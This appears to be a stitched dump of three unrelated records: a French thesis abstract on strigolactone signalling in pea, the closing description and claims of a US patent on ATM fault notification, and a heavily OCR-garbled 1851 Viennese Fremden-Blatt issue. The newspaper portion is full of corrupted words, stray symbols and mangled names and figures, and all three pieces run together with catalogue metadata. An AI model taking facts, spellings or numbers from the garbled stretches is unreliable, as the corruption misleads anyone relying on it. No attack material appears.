L'étude de la ramification chez le pois, à partir des mutants hyper‐ramifiés ramosus (rms) a permis de mettre en évidence l'existence une nouvelle famille d'hormones végétales : les strigolactones, inhibant la ramification des plantes à graines. La découverte de cette hormone végétale ouvre de nouvelles pistes de recherche sur la biosynthèse et la perception de cette nouvelle hormone. Nous avons montré le rôle du gène PsBRC1, codant un facteur de transcription de type TCP et homologue du gène TEOSINTE BRANCHED1 du maïs, dans la voie de signalisation des strigolactones. L'étude de ce gène nous a permis d'avoir une meilleure compréhension de l'interaction entre strigolactones et cytokinines dans le contrôle de la ramification, de la dynamique de la levée de dormance des bourgeons axillaires, et d'effectuer les premières études de relations structure‐activité des strigolactones sur l'inhibition de la ramification chez le pois. Nous avons étudié et caractérisé d'autres éléments dans la voie de signalisation. Chez le pois, deux mutants, autres que Psbrc1, ne répondent pas à l'application de strigolactones, rms3 et rms4. Le gène RMS4 code pour une protéine à boîte F. Nous nous sommes focalisés ici sur le mutant hyper‐ramifié rms3. Nous avons montré que RMS3 est l'homologue du gène D14 du riz, codant pour une protéine de la superfamille des α‐β/hydrolases. Ces protéines peuvent avoir une activité enzymatique et ainsi pourraient modifier les strigolactones en un composé actif. Le récepteur des gibbérellines GID1 appartient aussi à cette famille, RMS3 est donc un bon candidat pour être le récepteur des strigolactones. Nous avons utilisé une strigolactone radiomarquée afin d'étudier le métabolisme de l'hormone. Nous avons découvert que la strigolactone synthétique, 3H‐GR24 est clivée en un composé inconnu contact des racines, indépendamment de l'activité de la protéine RMS3. Ce composé de structure inconnue se retrouve aussi dans la sève du xylème alors que 3H‐GR24 y est absent. Outre un phénotype hyperbranché les mutants rms présentent une diminution de la taille de leurs entre‐noeuds, qui n'est pas due à l'augmentation de la ramification. Nous avons étudié l'origine du nanisme des mutants déficients en strigolactones et affectés dans la réponse à l'hormone. Des approches génétiques et moléculaires ont été utilisées pour tester une interaction possible entre les strigolactones et les gibbérellines. Nous avons montré que les strigolactones régulaient l'élongation des entre‐ noeuds indépendamment des gibbérellines. Le pois est un excellent modèle en génétique et en physiologie. Avec le développement de nouvelles techniques à l'INRA (TILLING; UNIGENE : ensemble de plus de 40000 séquences exprimées de pois), nous avons pu identifier de nouveaux gènes de biosynthèse des strigolactones chez le pois et obtenir plusieurs nouveaux mutants de pois. | 35,692 |
US-18614602-A_4 | USPTO | Open Government | Public Domain | 2,002 | None | None | English | Spoken | 1,523 | 1,743 | As shown in the foregoing description, the preferred embodiment of the present invention enables an operator of an ATM network to automatically and reliably dispatch messages to entities who need to be notified of conditions which occur at banking machines so that fault conditions may be responded to and corrected in a prompt and proper manner. The preferred form of the present invention also enables tracking progress towards resolution of the conditions which cause the fault signals to be generated, and maintains records of activities toward the resolution of such conditions in a manner which may be reviewed and analyzed so that improvements may be achieved in the overall operation of the system.
It should be understood that while the invention has been described with regard to a preferred embodiment which operates in a particular manner and which includes a number of features and capabilities, other embodiments of the invention may be operated using other types of systems and programming techniques. Other embodiments of the invention may achieve the results described herein using other components and systems, and through the use of different methods and processes. Further, while the foregoing discussion has centered on the system sending messages to and receiving responses from servicers who repair or otherwise conduct some activity with regard to an ATM, it should be understood that the term “servicer” encompasses any entity that arts to receive messages from or to input messages to the system.
Thus, the new fault tracking and notification system of the present invention achieves the above stated objectives, eliminates difficulties in the use of prior devices, systems and methods, solves problems and attains the desirable results described herein.
In the foregoing description certain terms have been used for brevity, clarity and understanding however no unnecessary limitations are to be implied therefrom because such terms are for descriptive purposes and are intended to be broadly construed. Moreover, the descriptions and illustrations herein are by way of examples and the invention is not limited to the exact details shown and described.
In the following claims any feature described as a means for performing a function shall be construed as encompassing any means capable of performing the recited function, and shall not be deemed limited to the particular means shown in the foregoing description as performing the function or mere equivalents thereof.
Having described the features, discoveries and principles of the invention, the manner in which it is constructed and operated and the advantages and useful results attained, the new and useful structures, devices, elements, arrangements, parts, combinations, systems, equipment, operations, methods, processes and relationships are set forth in the appended claims.
1. A method comprising: a) storing in at least one data store in operative connection with at least one computer, data representative of a plurality of automated banking machines operated at a plurality of geographically disposed locations; b) storing in at least one data store for each of the plurality of automated banking machines, data corresponding to at least one action that is operative to cause currency to be replenished in the respective automated banking machine; c) responsive to generation of at least one message from a first of the plurality of automated banking machines indicative of a level of currency remaining available for dispensing from the first automated banking machine, carrying out through operation of the at least one computer the corresponding at least one action that is operative to cause currency to be replenished in the first automated banking machine.
2. The method according to claim 1 wherein step (c) comprises determining through operation of the at least one computer responsive to data stored in the at least one data store, a servicer to be notified to replenish currency in the first automated banking machine and sending a notification message through at least one communication device to the servicer.
3. The method according to claim 2 wherein step (c) comprises determining through operation of the at least one computer responsive to data stored in the at least one data store, a first medium for notifying the servicer, and sending the notification message through a first communication device responsive to determining the first medium for notifying the servicer.
4. A method comprising: a) storing in at least one data store in operative connection with at least one computer, data representative of a plurality of automated banking machines operated at a plurality of geographically disposed locations; b) storing in at least one data store for each of the plurality of automated banking machines, data corresponding to at least one action that is operative to cause currency to be replenished in the respective automated banking machine; c) responsive to generation of at least one message from a first of the plurality of automated banking machines indicative of a level of currency remaining available for dispensing from the first automated banking machine, carrying out through operation of the at least one computer the corresponding at least one action that is operative to cause currency to be replenished in the first automated banking machine, including: determining through operation of the at least one computer responsive to data stored in the at least one data store, a servicer to be notified to replenish currency in the first automated banking machine; determining through operation of the at least one computer responsive to data stored in the at least one data store, a first medium for notifying the servicer; and sending a notification message to the servicer through a first communication device responsive to determining the first medium for notifying the servicer; d) monitoring for receipt of an acknowledgment of the notification message by the servicer through operation of the at least one computer, and responsive to a time passing after sending the notification message through the first medium without receipt of the acknowledgment, determining through operation of the at least one computer responsive to data in the at least one data store, a second medium for notifying the servicer, and sending the notification message through a second communication device responsive to determining the second medium for notifying the servicer.
5. The method according to claim 3 and further comprising: d) receiving a response message from the servicer through a communication device in operative connection with the at least one computer; e) sending a detail message through a communication device responsive to receipt of the response message in step (d), wherein the detail message is sent responsive to operation of the at least one computer and includes data representative of the first automated banking machine at which currency is to be replenished.
6. The method according to claim 5 and further comprising: f) receiving through a communication device in operative connection with the at least one computer, a further message including data indicative that currency has been replenished in the first automated banking machine; g) storing data indicating the replenishment of currency in the first automated banking machine in the at least one data store through operation of the at least one computer.
7. Computer readable media which is operative to cause at least one computer to carry out the method steps recited in claim
1. 8. A method comprising: responsive to generation of at least one message from a first of a plurality of automated banking machines indicative of a level of currency remaining available for dispensing from a first automated banking machine: determining through operation of at least one computer responsive to data stored in at least one data store, a servicer to be notified to replenish currency in the first automated banking machine; determining through operation of the at least one computer responsive to data stored in the at least one data store, a first way of notifying the servicer; and sending through operation of the at least one computer responsive to determining the first way of notifying the servicer, a first notification message to the servicer through a communication device.
9. The method according to claim 8, further comprising: monitoring for receipt of an acknowledgment by the servicer of the first notification message through operation of the at least one computer; and responsive to a time passing after sending the first notification message the first way without receipt of the acknowledgment: determining through operation of the at least one computer responsive to data in the at least one data store, a second way of notifying the servicer; and sending through operation of the at least one computer responsive to determining the second way of notifying the servicer, a second notification message through a communication device.
10. Computer readable media which is operative to cause at least one computer to carry out the method steps recited in claim
8. 11. Computer readable media which is operative to cause at least one computer to carry out the method steps recited in claim
4. 12. The method according to claim 2 and further comprising: d) prior to (c), storing in the at least one data store, data corresponding to a plurality of servicers and data associating at least one automated banking machine with each such servicer, wherein in (c) the servicer is determined responsive to the data stored in (d)..
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http://data.theeuropeanlibrary.org/BibliographicResource/3000116299587 http://www.theeuropeanlibrary.org/tel4/newspapers/issue/3000116299587 http://anno.onb.ac.at/cgi-content/annoshow?iiif=fdb|185110.0|0226|1|10.0|0|10.0|0|10.0|0|10.0|0 http://www.theeuropeanlibrary.org/tel4/newspapers/issue/fullscreen/3000116299587_1 | Europeana | Open Culture | Public Domain | 1,851 | Fremden-Blatt | None | German | Spoken | 5,110 | 10,654 | M«» -ron»«ablatt erschein» täglit», mit Ausnahme der fRontagc u. Rormata^r. «San »t&numtt. iw . A««ga»»k>kale: SoOjtiU Nr. fT», TÜ-i.rM her f• k. Brtrfpoff. «mizji-r. « ff. «M. «nlbjL-r. 3 fl. «M. «iertelj. 1 ff. 30 kr. SM. ohne Zustellung. Eigenthümer: Gustav Heine. Sicfeaf fipts*buKc«n < Wollzeile Nr. »»*. Plu-wärttg, prinumeriren bei den I. Postämtern mit tagt ZuMdung. WanzjShr. LO ff. «tM. HalbjLhr: * ff. SM. Viertelt. * ff. 30 ft. SA. Einzelne Blatte» kosten 3 kr. S. M. Wien. Se. Durchlaucht der Herr Minister-Präsident Fürst von Sehwarzenberg ist gestern Mittags um ll Uhr von Dresden hier angekommen. * Se. Majestät der Kaiser hat den Mitgliederndes in Prag gebil- dtten Vereines zur Gründung 'eines böhmischen Jnvalidenfondes das allerhöchste Wohlgefallen zu erkennen gegeben. • * Se. Majestät haben zu gestatten geruht, daß die lomb.-venetia- nischen Emigrirten entweder zurückkehren oder die Erlaubniß zur Aus wanderung nachsuchen dürfen. Im letztem Falle sind sie gleich jenen österr. Unterthanen zu behandeln- welche mit Zustimmung der kompe tenten Behörden ausgewandert sind. Von diesem Gnadenakte sind jedoch jene ausgenommen,, welche von der am 12. itnb 22. August 1849 er theilten Amnestie ausgeschlossen wurden. * Der Herr FMö. von Legeditsch beabsichtigt im nächsten Mo nate 20,990 Mann seines Korps in und bei Hamburg zu einem UebungS- manöver zusammenzuziehen. * Der Hochw. Herr Fürstbischof zu Briren, Bernhard Ga l.ur a, welcher schon seit Jahren der Gemeinde Windischmatrei zum Behufe der Dotirung eineS Schullehrers namhafte Unterstützungsbeiträge auö Ei genem zuwendete, hat neuerdings zu diesem Zwecke der erwähnten Ge meinde die Kapitalssumme von 1990 fl. einhändigen lassen. * Nach einer Verfügung deS MinisterratheS ist gestattet worden, daß daS Zwangs-Darlehen in der Lombardei und Venedig auf 12 Mo nats-Raten vertheilt werde, wonach in jedem Monat ein barer Betrag von S Mill. Lire einzubringen ist. * Der k. k. Hofrath und Rath deS obersten'Gerichts- und Kassa- tioushofeS, Karl Schwabel Ritter von Adlersburg, wurde als Ritter deS königl. ungarischen St. Stefan-Ordens in den Freiherrn stand des österr. Kaiserstaateö erhoben. * Der Lemberger Magistratsvorstand, Gubernialrath Ritter von Höpflinger-Bergendorf, hat daS Ritterkreuz deS Franz Joseph- Ordens erhalten. * Der Armenbezirks-Direktor in Altlerchenfeld, Herr Jakob O b e n- dorfer und der Mufterlehrer zu Neuberg in Steiermark, Herr Ma thias Förster, haben daS silberne Verdienstkrenz mit der Krone erhalten. * In Dresden ist am 23. d. die angesetzte Plenarversammlung der Ministerialkonferenz zusammengetreten. * ES hat allen Anschein, daß die Einsetzung der Bundesbehörde demnächst in Frankfurt erfolgen werde. Gleichzeitig wird auch der Bundestag zusammentreten und die Revision der Bundesverfassung und der Bundeögesitze in Angriff nehmen. * Die Eefammtzahl der in der österreichischen Monarchie im lau fenden Jahre erscheinenden Zeitschriften beträgt 251/ * Die Anzeichen einer weit ausgreifenden Thätigkeit der Chefs der magyarischen Revolution haben die österr. Regierung bewogen, in die Freilassung der in Kiutahia Jnternirten nicht zu willigen, obwohl die Pforte, von England und Frankreich-unterstützt, dieselbe beim Wiener Kabinete dringend beantragte. * Der „N. M. Z." wird auS bester Quelle versichert, daß von Seiten Englands und Frankreichs keine förmlichen Protestationen gegen den Eintritt Gesammtösterreichs in den deutschen Bund, sondern nur Vorstellungen gegen Räthlichkeit dieses Schrittes ergangen find, gegen welchen von Seite Rußlands keinerlei Einwand erhoben wird. * Vor einigen Tagen überreichten mehre Zollkongreß - Deputirten dem Herrn Handelsminister eine Adresse, worin verschiedene Bedenken gegen die baldige Einführung deS neuen Zolltarifs ausgesprochen sind. Diese möge erst dann erfolgen, heißt es, wenn von Deutschland ent sprechende Zugeständnisse gemacht, und wenigsten» eine Uebereinkunft über den freien Verkehr mit Ackerbau-Erzeugnissen, über TarisSbestimmun- gcn, dann ein Cartel für die Douane und eine dem Schutzzoll entspre chende Strafgesetzgebung erfolgt sind. * Die Zerfahrenheit der Ministerial-Konferenz in Dresden, an wel cher Oesterreich nicht die geringste Schuld trägt, dauert fort. Der bai rische Minister-Präsident gibt sich viele Mühe die schwebende Differenz auszugleichen, was vermuthen läßt, daß ,S sich in der That um gewisse Vortheile handelt, welche Baiern von der Konferenz beansprucht und die ihm Preußen streitig macht. Der ChoruS der englischen und französi schen Presse gegen die Neugestaltung der Dinge in Deutschland soll von Berlin aus eingeleitet worden fein. * Tie Besetzung der politischen Stellen in Dalmatien, vom Statt halter abwärts, soll nächstens erfolgen. DaS Gerücht, daß Graf M a r- zani auS Venedig die Ernennung zum Statthalter von Dalmatien abgelehnt habe, entbehrt jedes Grundes. Dem Grafen Mar zani wurde jener hohe Posten gar nicht angetragen. * In Sarajewo (Bosnien) wird eine k. k. Posterpedition aufge stellt, die vom i. März 1851 wöchentlich eine Botenverbindung mit dem Postamte Brod tn Slavonien unterhalten wird. * In Aleppo wurde eine Versteigerung der Effekten Bem'S abge halten. Die verschiedenen Gegenstände wurden zu fabelhaft hohen Preisen verkauft. So kaufte ein Engländer ein Trinkglas um 299 Piaster. * Der Führer des Aufstandes in Bosnien, KavaS Pascha, der bei Vergovaz daS österr. Gebiet betreten hat, soll nach Zara gebracht werden. * Den Haupttreffer deS R o t h fch i ld'fchen AnlehenS mit' 209,090 fl: hat die Witwe dcö unlängst in Ofen an der Cholera verstorbenen Me- diziii-DoktorS Quappil gewonnen. * In Stagno Piccolo wurde am 5. d. um 1 % Uhr Nachmittags ein starkes unterirdisches Getöse gehört, und am 6. um 4'/z Uhr Nachmittags eine heftige Erderschütterung, die ungefähr vier Sekunden dauerte, verspürt. * In Prag fiel am 21. d. ein 5jährigeS Kind vom 2. Stocke eines Hauses auf daS Pflaster, und, wie durch ein Wunder, beschädigte sich dasselbe beinahe gar nicht. * In Galizien soll ein landwirthschaftlicher Verein gegründet wer den, um die Israeliten dieses KronlandeS dem Ackerbaue zuzuführen. * Graf Straffoldo, der Civil-Statthalter der Lombardei, ist in Mailand angekommen, wo er jedoch nur kurze Zeit verweilen und dann nach Verona zurückkehren wird. Im nächsten Monat wird Graf Strassoldo mit dem FM. Grafen Radetzky, der sein Hauptquar tier nach Mailand verlegen soll, wieder in der letztgenannten Stadt eintreffen. - * Man begegnete in den Zeitungen oft der Nachricht, daß Omer Pascha von Bem, zur Zeit als dieser in Siebenbürgen kommandirte, b> deutende Geschenke, darunter auch die Krone deS heil. Stefan erhal ten habe. Einem im Nachlasse Bem'S vorgefundenen Briefe von Om er Pascha zu Folge, hat dieser nie die Geschenke, die ihm Bem durch einen gewissen Herrn Bollick zusandte, erhalten. Der Letztere dürste sie wahrscheinlich unterschlagen haben. * Wir haben gestern von der in Innsbruck am 20. d. erfolgten feierlichen Beisetzung mehrerer Tapfern berichtet. AuS Versehen ist dabei der Name deS Theresien-RitterS, HauptmannS Anton Baron Pirquet, weggeblieben, der sich bei Goito rühmlichst ausgezeichnet, und bei dem Sturme auf Rivoli am 22. Juli 1848 den Heldentod gefunden hat. - * In Triest wurde am 23. Febr. der gewesene Platz-Oberst, pm- sionirte GM. Strobel mit den üblichen militärsschen Ehren zu Grabe begleitet. ' * In Zara ist am 19. d. die k. k. Dampffregatte „S. Lucia« von Fiume angekommen. Sie führt daS 3. Bataillon von Heß- Infante rie nach Ragusa, um die dortige Garnison zu verstärken. Deutschland. Ueber die Regelung der dänischen Erbfolge ver nimmt ein norddeutsches Blatt Folgendes: Der Großherzog von Olden burg erbt den Thron von Dänemark; mit Holstein werden in diesem Falle die Eutin'schen Lande verbunden. Der Herzog von Augustenburg übernimmt unter Verzichtleistung auf seine sämmtlichen, in den Herzog- thümern liegenden Besitzungen zu Gunsten deS Landes daS Großherzog thum Oldenburg ohne Eutin. Die Augustenburger Linie hört dadurch für alle Zeiten auf, erbberechtigt in Dänemark und Schleswig-Holstein zu fein. Der Kaiser von Rußland verzichtet auf jedes Erbrecht in Hol stein oder Dänemark; hingegen fuccedirt nach Aussterben deS Oldenbur ger Hauses die Glücksbürger Linie; nur im Fall auch diese letztere auS- sterben sollte, würde daS Erbrecht d«S russischen Kaiserhauses wieder aufleben. Tags-Neuigkeiten. * In der Umgebung von München sind in der letzten Zeit v'ele verheerende FeuerSbrünste vorgekommen, wobei aller Wahrscheinlichkeit nach verbrecherische Hände im Spiele sind. * In Karlsruhe werden in Abwesenheit deS preußischen Gesandten v. S a v i g n Y, der in Privatangelegenheiten nach Berlin gereist ist, die laufenden Geschäfte durch den Attache v. Peucker, Sohn des Ge neral-Lieutenants und frühern Reichsministers, besorgt. * DaS Hofgericht in Gießen hat den Dr. Dieffenbach aus Schlitz, dermalen in Bremen, wegen ReligionSläfterung zu einem Jahr Festungsarrest verurtheilt. * Die „Ostfee-Ztg." meldet aus Stettin 21. Februar, daß der Pferdeverkauf bis auf Weiteres eingestellt wurde. * Die badische Regierung hat bei der vorauszusehenden Ankunft von entlassenen schleSwig-holsteinische Soldaten in Süddeutschland und bei der Furcht vor revolutionärer Propaganda umfassende polizeiliche Vorsichtsmaßregeln angeordnet. Frankreich. Das Manifest deS Grafen v. C h ä m b o r d hat in Paris nur geringen Eindruck gemacht. In den Departements durfte eS dasselbe Schicksal erleben. Praktisch gesprochen ist die legitimistische Partei todt und lebt nur als Erinnerung. * In Toulon werden zwei neue Linienschiffe „der Napoleon" und «der Charlemagne" ausgerüstet. * Eine Lütticher Waffenfabrik hatte bei der französischen Regierung um die Bewilligung nachgesucht, eine Partie Feuerwaffen, die für die Zeughäuser von Zürich und Bern bestimmt seien, durch Frankreich führen zu dürfen. Ueber eingeholte Erkundigung der französischen Gesandtschaft stellte eS sich heraus, daß das Züricher Zeugamt keine solche Waffen bestellt habe. Italien. AuS Turin wird gemeldet, daß Hr. de Andreis, vom Appellationstribunale zu Casale, das ihm angetragene Portefeuille der Justiz angenommen habe. Großbritannien. Im Unterhause hat Hr. Mac Gregor eine neue Basis für die Einhebung der Einkommensteuer vorgeschlagen. — Ein Mitglied der radikalen Partei, Hr. Locke-King, hat die Bewilligung nachgesucht, eine Bill einzubringen, welche den Zweck hat, in Betreff deS Wahlrechtes die Städte den Landbezirken gleichzustellen, und das Stimmrecht allen Jenen zu geben, die ein Grundstück von 10 Pfd. St. Ertrag besitzen. Diese Maßregel, vorzüglich gegen daö Uebergewicht der Ackerbauintereffen gerichtet, wurde von Lord John Rüssel bekämpft. DaS Haus hat jedoch die Motion mit 100 gegen 52 Stimmen votirt. * Die in London anwesenden Italiener haben eine Versammlung abgehalten, in welcher sie mehre Beschlüsse faßten, die gegen die päpst liche Bulle, in Betreff der bischöflichen Ernennungen, gerichtet sind. Wie». Der Gemeinderath hat den k. k. Hofmaler Hrn.Einöle be auftragt, daö Bildniß Sr. Majestät zu malen, welches die Bestimmung 7 at > Sitzungssaale deS Magistrates aufgestellt zu werden. Der Gemeinderath ist in der Berathung des Budgets für 1851 iP" Schluffe der gewöhnlichen Einnahmen gekommen, welche mit Ein- fchluß der Einnahmen des VersorgungSfondeS sich auf 1,756,896 fl. E. M. belaufen. , Der Herr Direktor der Hauptschule am Bauermarkte, Gemeinde- ^th Karl Schell vSky, hak zum Gedächtnisse der Konkituirung der Kommune Wien , für die Dauer seiner Direktion der Hauptschule, sechs Vretplatze für Kinder unbemittelter Eltern gegründet, wovon drei dem "h st '. un ^ dtti dem Bürgerstande angehören sollen. Die Schüler nyalten nicht nur Unterricht in den vorgeschriebenen Gegenständen und Sprachen, sondern sie werden auch mit allen Schreib- und Zeichenge- räthen unentgeldlich versorgt. Ern Unbekannter hat dem Gemeinderathe auS Anlaß der Bür- ^Erlsterwahl 2000 fl. CM. übersendet Bon den Zinsen dieses Kapi- >0 sollen am Jahrestage der Wahl zur Hälfte Arme betheilt werden, ssffdere Hälfte soll zur Vermehrung der Stipendien dienen, welche der Gemeinderath gegründet hat. «. r Dle Zj„s- und Steuerkreuzer-Umlage beträgt für die Gemeinde «v Zins- und s Steuerkreuzer, für die Alfer Vorstadt f/* .otnö' 4 ^ Steuerkreuzer, für Schottenfeld 2*/ S 3in8- 5 ©teuer* r Michelbaiern 2*/r Zins- 5 Steuerkreuzer, für Lich- enkyal z Zjns- 6 Steuerkreuzer und für die Jägerzeile 2%. 3,n V«S 5 V 2 Steuerkreuzer. ., Die meisten hiesigen Blätter erzählten dieser Tage eine Anekdote,. j**. > t( y auf einem Hofballe zugetragen haben sollte. Dem „Lloyd" Fügendes geschrieben: ES ist Gottlob von unserm Herrn d aß fidi C * n Wohcheit j- 0 viel Guteö und Rühmliches zu erzählen, alte A Zeitungen nicht zu beeilen brauchten, ohne Prüfung jede. "ekdote nachzudrucken, die einem oder dem andern der minorum 8 n mw -ex Journalisten, der eben eine Lücke auszufüllen hat, gefällig N, auf den Namen Sr. Majestät zu taufen. Demungeachtet macht feit e nlgen Tagen eine Ballanekdote die Runde durch unsere Tageblätter; Herr Saphir hat sie sogar durch Verse verherrlicht, und der „Lloyd" oem NeuigkeitS-Bureau entnommen. Hätte man sich genauer erkundigt, so würde man gewiß erfahren haben, daß die Frau Erzherzogin, Mutter Sr. Majestät, schon seit einer langen Reihe von Jahren, und auch wäh rend des gegenwärtigen Karnevals an keinem Tanze Theil genommen habe; vielleicht hätten sie auch darüber sich zu beruhigen Gelegenheit gefunden, daß in keinem gesellschaftlichen Cirkel Wiens ein Nichtadeliger, wenn er des Kaisers Kriegsrock mit Ehre trägt, gegen einen Adeligen zurückgesetzt zu werden Gefahr läuft. * Die bereits angekündigten Gedichte deS BanusJellachich kön nen wegen Erkrankung eines bei der Ausstattung beschäftigten Lithogra phen erst in 14 Tagen erscheinen. * Der Professor und Kupferstecher Stöber unternimmt den Stich des Miitelbildes der Fresken, welche Kupelwieser im Funktions saale der Statthalterei ausführte. Dasselbe stellt die Austria vor, um geben von mehreren allegorischen Figuren. * Am Ufer des Donaukanales unter der Franzens-Kettenbrücke wurde vorgestern ein todtgeborneS Kind gefunden. * Vor dem k. k. Bezirksgerichte kam vor einigen Tagen der interes sante Fall zur Verhandlung, daß ein hiesiger Arzt, Herr Dr. Stup per der Vernachlässigung eines Patienten angeklagt wurde. Da eS sich jedoch nicht herausstellte, daß die Gestorbene Julians Sch. durch den sogleich erfolgten ärztlichen Besuch zu retten gewesen wäre, so wurde Hr. Dr. Stupper von der Anklage freigesprochen. * In der Werkstätte deS Tischlermeisters Herrn Karl S. auf der Wieden entstand vorgestern unter den Gesellen ein solch heftiger Rauf handel, daß einer derselben bedeutend verletzt wurde. In Folge dieses blutigen Auftrittes wurden vier der Erzedenten arretirt. * In SechShauS wurde der Ingenieur Georg Z., welcher sich fälschlich für einen Polizeikommissär ausgab, angehalten. * In letzter Zeit kamen öfter Fälle vor, daß falsche Sperrsitzkar ten zu den Vorstellungen im Kärntnerthortheater verkauft wurden; daS Publikum kann daher beim Ankäufe derselben nicht genug vorsichtig sein. Ein Herr kaufte vorgestern im Gasthause im Komödiengäßchen 3 Sperr sitze zu der letzten Aufführung des „Oberon". Zu seinem Erstaune« waren jedoch die Plätze, als er mit zweien seiner Freunde in das Thea ter kam, bereits besetzt. Als er seine Ansprüche darauf geltend zu ma chen suchte, erkannte man, daß die BilletS falsch seien. Der Fälscher, ein dicnstloser Kommis Andreas ©., wurde bereits erforscht und arretirt. * Dem Fabriksarbeiter Urban Gran, der in FünfhauS Nr. 29 wohnt, wurden vorgestern 127 fl. in Silberzwanzigern, und 184 fl. CM. in Banknoten aus einem versperrten Koffer gestohlen. Dem thätigen und umsichtsvollen Polizei-Kommissariate in Sechshaus ist eS jedoch be reits gelungen, die Thäterin, eine Taglöhnerin, zu entdecken, und der Bestohlene dürfte dadurch sein Eigenthum schnell unv ohne Abgang wie der zurückerhalten. * Gestern hörten wir im Kärnthnerthortheater zum ersten Male dieAdam'scheOper: „Der Brauer vonPreston." Sie ist bereits vor mehreren Jahren im Josefstädter-Theater gegeben worden, ohne einen bedeutenden Erfolg erringen zu können. Nichts desto weniger wurde ste aus ihrer Vergessenheit hervorgesucht; denn eS gilt ja die Spieloper im Kärnthnerthortheater zu kultiviren. Das beste Mittel dazu ist die Besetzung derselben mit einer Anfängerin, wie Frl. To mala, die zwar eine frische, schöne bildungsfähige Stimme hat und Talent besitzt, aber weder singen noch spielen kann unv mit einem sonst tüchtigen Sän ger wie Herr Erl, dessen schwächste Seite, wie bekannt, die dramatische Darstellung ist. Durchaus lobenSwerlh war an diesem Abende nur Herr Hölzl. Die Vorstellung mißglückte gänzlich und daS Publikum schien den Erfolg geahnt zu haben, denn eS fand sich zu dieser ersten Vorstel lung nur sehr spärlich ein. Angekommen in den Gasthöfen und Fremdenführer. Echrvarzer Adler, Lropft S ä 6. 4br. $>■ Lang, Kaufn,., a. d. Schweiz. Kr. Földvary, a. Ungarn. Gold. Brunnen, Leopst 327. Kr- R Micklitz, Forstmstr., v. Kadolz. Kr. M. Strohmeyrr, Baumstr.,v. Agram. Kr. M. Schweiger, Bez.-Arzt, v. Laaß. Fräul. F. Schweiger, v. Laaß Kr. A. Suchamel m. Frau, v. Poißbrunn. Hr. Meßner, v. Retz. Kr. Brunbauer, Kaufm., v. Retz. Kr. S. Aarpele«, Kaufm.. ».Preßburg. Erzherzog Earl, Stadt 968. Baron E. Jnkcy, Gutsbef., a. Ungarn. Kr. C. Morpurgo, v. Triest. Kr. A. Muthig, Fabriksbes., v. Prag. Kr. K. v. Feldegg, m. Frau, k. k. Hauptm., a. Böhmen Goldene Ente, Stadt, 822. Kr. I. Radey, Lehrer, a. Böhmen. Kr. C. Serdanovits, Kfm., v.Pancsovar. Kr. G.Klecadmatz,v.Pancsovar Kr F. Bischinsky, k. k. Hptm, v. Brünn Stadt Frankfurt, St., 1686 Kr. v. Zitta, k. k. FML, v. Ofen. Hr. Liegert,! Kaufm., v Prag. Römischer Kaiser, Stadt 188. Fr. Milkst deMorcourt, Gutsbef., v.Graz. Kr. Turin! m.G., Kaufm., v.Görz. Kaiserkrone, Leopoldst, 482. Kr. Z. Sterzer, k. k. Beamter, v. Ofen. Hr. E. Schönhof, a. Mähren. Kr. 3. Begwaßer, Fabriksbes., v. Leiben. Kr. P. Bettelwein, Kaufm., v. Preßburg. Kr. W. Pappenheim, Kaufm., v Preßburg. Golden. Kren;, Wiede«, II. Kr. V. Spieß, Apotheker, v. Oedenburg. Kr. I. Pihan, v. Saibersdorf. Kr. Z. Montandon, Fabriksbes. Kr. Z. Pettrik, Hutfabr., v. Oedenburg. Kr. M. Mandl, Dr. d. M., a Ungarn. Hr. F.Erhold m Fm., Beamter, v.Kohenbg. Stadt London, Stadt 684/ Kr A. v. Augusz, k. k. Distrikts-Oberge span, v. Pest. Kr. N. Schwab, Kaufm., v Prag, ör. A. Gorfer, Kaufm., a. Baiern. Weißer Löwe, St. SalzgrkeS. Hr. I. Fischer, Kaufm., a. Ungarn. Kr. I. Bontz, Kaufm., v. Udischa. Kr. M. Grünhut, Kaufm., v. Ubeso. Hr. L. Seitzer, Kaufm., v. Peledins. Kr. M. Spitzer, Kaufm., a. Ungarn. Kr. Mihotschani, Kaufm., v. Essegg. Kr. Kerscher, Kaufm., a. Ungarn. Gold. Lamm, Wiede«, 24. Kr. Karl Herrmann, v. Linz. Hr. St. Csaßar, Pfarrer, v. Kapuvar. Hr. F. Horvath, Kaplan v. Kapuvar. Baron Geißau, k.k. Oberlieut. Hr. F. Köster, Arzt, v. Graz Hr. v. Hofbauer, Baumeister, v Raab. Matfchakerhof, Stadt, 1091. Frau Edenberger, v. Linz. Kr. Mendl, k.k. Landesgerichtsr., v. Krems. Hr. Supan, Kaufm., v. Laibach. Hr. Skodler, Kaufm., v. Laibach. Hr. Rik, Oberbeamter, a. Ungarn. Wilder Mann, Stadt 942. Graf Somsich, GutSbes., a. Ungarn. Hr. 3- v. Sauska, a. Ungarn. Hr. v. Földvary, Gutsbef., a. Ungarn. Hr. v. Staudenheim, v. Neustadt Baron Brunicki m. Fam., a. Oesterreich. Skationalgasthof, Leop, 826. Kr. A. Gottheiner, Kaufm., a. Preußen. Kr. St. Cridady, a. Griechenland. Hr. 3 Kunz m. Fr., Kaufm. a. Mähren. Hr. S. Maure, HammergewerkS-Besitzer, v. Wridhofen. Kr. A. Gerstl. Kaufm, v. Pest. Hr. M. Kappel, Kaufm, v. Pest. Kr. 3- Schneider, Fabrkt., v. Schönberg Kr. A. Choriboni, Kaufm., v. Pest. Sr C. Schulz, Kaufm., v. Pest. Hr 3. Bernstein, Kaufm., v. Pest Hr. F. Szutter, Beamter, a. Oberösterr. Hr. Bauer m. Fr., Bäumst., v. Schönberg, ör. 3. Rosenkranz, Handlsm.,» Preßburg. Hr 3- Rath, Handelsm., v. Preßburg. Hr. E. Egger, Handelsm., v. Pest. Hr. E Fuchs, k.k Lieut., a. Galizien. Hr. G. Konga, k. k. Oberl., a. Galizien Hr. 3- Szulkiewieg, k.k. Lieut.. a. Galizien. Hr. 3- Lederer, Kaufm., v. Szegedin. Hr. 3- Leidmer, Dr., v. Raab. Nordbah«, Jägerzetl«, 8«. Hr. B. Mayer, Kaufm., a. Mähren. Hr. 3 Roch, v. Prag. Hr. H. Fasbinder, 3ngenieur, v. Bonn. Hr. M. Löw, Kaufm, v. Straßnitz. Hr. E Schmidl, Kaufm., v. Weipert. Hr. A. Rosenblüh mit Familie. Hr. A. Lißner, Kaufm., v. Schönau. Hr. 3 Uihlcin, Wundarzt, v. Herrmsdf. Kaiserin v. Oesterr., St., 966. Baron Fischer,Gutsbef,«. Ungarn. Hr A. Gratzer mit Frau, Anwalt, v. Pest. Hr. M. Spitz, Fabriks-Geschäftsführer. St. Oedenburg. Wieden 23. Hr v.Andrassy,k.k. Lieuten.,«. Pettau. Hr. 3- Vogels, Dr. d. M., a. Ungarn. Hr. 3- 